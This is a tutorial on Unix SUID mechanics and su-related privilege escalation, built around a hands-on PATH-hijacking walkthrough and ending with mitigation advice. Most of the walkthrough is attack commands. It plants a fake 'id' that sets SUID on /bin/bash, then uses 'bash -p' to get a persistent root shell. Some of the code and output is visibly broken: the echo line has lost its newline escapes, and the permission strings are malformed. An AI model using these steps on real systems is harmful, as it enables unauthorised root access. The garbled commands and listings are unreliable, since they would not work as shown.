Introduction: The Gateway to Root

The concept of ‘root’ or ‘superuser’ access is fundamental to Unix-like operating systems, including Linux and Android. It represents the highest level of system privileges, capable of performing any operation. The su (substitute user) binary is the primary utility designed to allow a user to execute commands with the privileges of another user, most commonly the root user. While essential for system administration, a misconfigured or vulnerable su binary can become a critical exploit vector, allowing an attacker to escalate privileges from a low-privileged user to root.

This guide delves into the mechanics of su, explores common vulnerabilities associated with its implementation, and provides a hands-on walkthrough of a simulated exploitation scenario focusing on PATH environment variable hijacking. Understanding these techniques is crucial for both offensive security professionals seeking to identify weaknesses and defensive experts aiming to harden their systems.

Understanding `su` and the Superuser Concept

The SUID Bit and Effective UIDs

At the heart of privilege escalation through utilities like su is the Set User ID (SUID) bit. When the SUID bit is set on an executable file, any user who runs that file will execute it with the effective user ID (EUID) of the file’s owner, rather than their own real user ID (RUID). For su, this means that even if a regular user executes /bin/su, the process will temporarily run with the EUID of root (typically UID 0), as /bin/su is owned by root and has the SUID bit set.

You can observe the SUID bit on the su binary using the ls -l command:

ls -l /bin/su

The output typically looks like this, where ‘s’ in place of ‘x’ for the owner’s permissions indicates the SUID bit:

---rwsr-xr-x 1 root root 46792 Mar 27  2023 /bin/su

How `su` Authenticates and Elevates

Normally, when a user runs su, it prompts for the password of the target user (usually root). Upon successful authentication, su uses its elevated privileges (thanks to the SUID bit) to change the user ID of the shell process to that of the root user, effectively granting a root shell. The security of this process relies heavily on strong password protection and the secure implementation of the su binary itself.

Common `su` Binary Vulnerabilities

While the standard su utility provided by major Linux distributions is generally robust, vulnerabilities can arise from various factors:

1. PATH Environment Variable Hijacking

Many programs, especially custom scripts or less rigorously developed utilities, call other commands without specifying their absolute path (e.g., id instead of /usr/bin/id). If such a vulnerable program has the SUID bit set and a user can manipulate their PATH environment variable to include a directory containing a malicious executable with the same name as the called command, the SUID program might execute the malicious version with elevated privileges.

2. Insecure `su` Implementations

Custom ROMs, embedded systems, or poorly maintained Linux installations might use non-standard su binaries or wrapper scripts. These custom implementations may lack the rigorous security checks present in the standard GNU su, making them susceptible to flaws like improper input validation, race conditions, or hardcoded credentials.

3. Weak Permissions or Configuration

Less common but possible are misconfigurations where the su binary itself, or critical files it relies upon (like authentication modules), have overly permissive file permissions. This could allow a low-privileged user to modify the binary or its dependencies, leading to an exploit.

Hands-On Exploitation: A Simulated Scenario

For this demonstration, we’ll simulate a common vulnerability: a custom SUID binary that implicitly relies on the PATH environment variable. Imagine a scenario where a system administrator deployed a custom su wrapper script, /usr/local/bin/my_su, which is SUID root, but carelessly calls a common utility like id without an absolute path before dropping privileges or executing the real su.

Consider this hypothetical (and vulnerable) script as /usr/local/bin/my_su:

#!/bin/bash
echo "Admin utility starting..."
# CRITICAL VULNERABILITY: 'id' is called without an absolute path
id
# ... some other admin logic ...
# Finally, execute the real su or an admin task
exec /bin/su "$@"

Step 1: Identifying a Vulnerable `su` Environment

As an attacker, you would first look for SUID binaries that are not standard system utilities. In our scenario, we’ve identified /usr/local/bin/my_su.

ls -l /usr/local/bin/my_su

Expected output showing SUID root:

---rwsr-xr-x 1 root root 1234 Oct 26 10:00 /usr/local/bin/my_su

Next, we would analyze the script’s content (if accessible) or its behavior. If it calls commands like id without /usr/bin/id, it’s potentially vulnerable to PATH hijacking.

Step 2: Crafting the Malicious Payload

Our goal is to create our own executable named id that, when run with root privileges by my_su, will grant us a permanent root shell. A simple way to achieve this is to set the SUID bit on /bin/bash, which means anyone can then execute /bin/bash as root.

First, create a temporary directory and our malicious id script within it:

mkdir /tmp/pwn
cd /tmp/pwn
echo -e '#!/bin/bashnchmod u+s /bin/bashn/bin/id $@' > id
chmod +x id

This script does two things: sets the SUID bit on /bin/bash and then calls the legitimate /bin/id to avoid suspicion and ensure the original command’s output is displayed.

Step 3: Manipulating the PATH Environment Variable

Now, we need to modify our user’s PATH environment variable so that our malicious /tmp/pwn directory is searched before the standard system directories (like /usr/bin). This ensures that when my_su calls id, it finds our fake id first.

export PATH="/tmp/pwn:$PATH"
echo $PATH

Verify that /tmp/pwn is at the beginning of your PATH output.

Step 4: Triggering the Vulnerability

Execute the vulnerable my_su binary. Since it’s SUID root, it will run with root’s effective privileges.

/usr/local/bin/my_su

When my_su runs, it will execute its internal logic. At the line id, due to our manipulated PATH, it will find and execute our script at /tmp/pwn/id with root privileges. Our script will then successfully set the SUID bit on /bin/bash.

Step 5: Verifying and Gaining a Root Shell

After my_su completes (it might still ask for a password, which you can cancel or enter if you know it, as the exploit has already fired), check the permissions of /bin/bash:

ls -l /bin/bash

You should now observe the SUID bit set:

---rwsr-xr-x 1 root root ... /bin/bash

Finally, execute /bin/bash with the -p flag to ensure it doesn’t drop privileges:

/bin/bash -p

You can confirm your new privileges by running the id command from your new shell:

id

The output should show uid=0(root) gid=0(root) groups=0(root),..., indicating successful root access.

Mitigation and Best Practices

• Absolute Paths: Always use absolute paths for executing commands within SUID binaries or scripts (e.g., /usr/bin/id instead of id).
• Environment Cleaning: SUID programs must explicitly clean or sanitize their execution environment, especially variables like PATH, LD_PRELOAD, IFS, and others that can influence dynamic linker behavior or command execution.
• Least Privilege: Design SUID programs to run with elevated privileges only for the minimum necessary duration and for specific, validated tasks. Drop privileges as soon as possible.
• Secure Coding Practices: Implement robust input validation, avoid shell execution for user-controlled input, and follow secure coding guidelines.
• Regular Audits: Periodically audit all SUID/SGID binaries on your system, especially custom ones, for potential vulnerabilities.
• Keep Systems Updated: Ensure your operating system and all installed software are regularly updated to patch known vulnerabilities.

Conclusion

Exploiting misconfigured su binaries or any custom SUID scripts can provide a straightforward yet powerful path to root privileges on a compromised system. The `PATH` environment variable hijacking technique, as demonstrated, highlights how subtle programming oversights can have significant security implications. For developers and system administrators, a deep understanding of SUID mechanics, environment variables, and secure coding principles is paramount to preventing such devastating privilege escalation attacks. Always remember to practice ethical hacking and conduct security research only on systems where you have explicit authorization.